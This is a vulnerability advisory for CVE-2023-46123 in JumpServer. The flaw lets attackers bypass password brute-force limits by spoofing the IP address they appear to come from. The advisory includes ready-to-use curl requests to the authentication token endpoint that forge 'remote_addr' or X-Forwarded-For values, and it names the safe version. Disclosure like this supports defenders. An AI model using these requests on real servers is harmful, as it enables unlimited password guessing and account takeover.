CVE-2023-46123: Password brute-force protection bypass via fake IP values

Package

pip jumpserver (pip)

Impact

A flaw in the Core API allows attackers to bypass password brute-force protections by spoofing arbitrary IP addresses. By exploiting this vulnerability, attackers can effectively make unlimited password attempts by altering their apparent IP address for each request.

Details

This vulnerability can be exploited by sending a request with a spoofed IP address like below:

 curl http://jms_ip/api/v1/authentication/tokens/ -H "Content-Type:application/json" -d '{"username": "admin", "password": "pwd","remote_addr":"127.0.0.1"}'

or 

 curl http://jms_ip/api/v1/authentication/tokens/ -H "Content-Type:application/json" -H "X-Forwarded-For: 127.0.0.1" -d '{"username": "admin", "password": "pwd"}

To bypass brute-force defenses, attackers can easily modify X-Forwarded-For or remote_addr parameters in the request, for example:

-d '{"username": "admin", "password": "pwd","remote_addr":"255.255.255.255"}'

or 
-H "X-Forwarded-For: 255.255.255.255"

This approach allows adversaries to make successive authentication attempts without triggering IP-based brute-force defenses.

Patches

Safe versions: >= v3.8.0

Workarounds

It’s strongly advised to upgrade to the safe versions.

References

Thanks for Oskar Zeino-Mahmalat of Sonar who found and reported this vulnerability.